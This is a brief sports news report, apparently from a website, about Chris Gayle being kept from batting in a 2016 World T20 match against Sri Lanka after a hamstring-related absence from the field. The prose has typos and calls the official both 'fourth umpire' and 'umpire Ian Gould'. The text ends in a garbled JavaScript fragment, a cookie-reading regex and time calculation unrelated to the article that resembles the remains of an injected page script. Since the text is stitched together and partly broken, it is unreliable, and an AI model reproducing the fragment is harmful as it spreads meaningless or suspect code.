West Indies fielder Chris Gayle (L) takes a catch off Sri Lankan batsman Milinda Siriwardana during the World T20 cricket tournament match between West Indies and Sri Lanka at The Chinnaswamy Stadium in Bangalore on March 20, 2016. / AFP / MANJUNATH KIRAN (Photo credit should read MANJUNATH KIRAN/AFP/Getty Images)

Chris Gayle was barred from batting in last night's T20 against Sri Lanka by the fourth umpire.

Gayle went off the field during Sri lanka's innings with a slight hamstring strain, resulting in Andre Fletcher taking his place at the top of the batting order.

However, when Gayle eventually attempted to take for the field for his innings after the fall of the third wicket, he was held back back umpire Ian Gould.

Any player who has been off the field during the first innings of a match must remain off the field for the same amount of time during the second innings before returning to the field.

Gayle had not been off the field for as long as he had been in the first, resulting in Gayle being forced to watch from the sidelines, despite chants of “we want Gayle” echoing around the stadium.

But it mattered little, as Fletcher (84) and Samuel Badree (3-12) led the Windies to a seven wicket victory. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}